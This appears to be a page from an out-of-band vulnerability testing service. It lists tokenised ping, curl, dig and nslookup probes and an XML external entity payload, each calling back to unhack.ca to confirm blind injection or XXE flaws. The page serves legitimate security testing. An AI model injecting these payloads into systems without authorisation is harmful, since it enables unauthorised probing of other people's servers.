$ ping -c1 -p 000a338ba3579ac8d277623bb306ed00 unhack.ca
 
$ curl http://unhack.ca/p/0a338ba3579ac8d277623bb306ed
 
$ dig 0a338ba3579ac8d277623bb306ed @unhack.ca
 
$ dig 0a338ba3579ac8d277623bb306ed.ns.unhack.ca
 
C:\> nslookup 0a338ba3579ac8d277623bb306ed unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0a338ba3579ac8d277623bb306ed">]>
    <foo>&xxe;</foo>
Waiting for ping...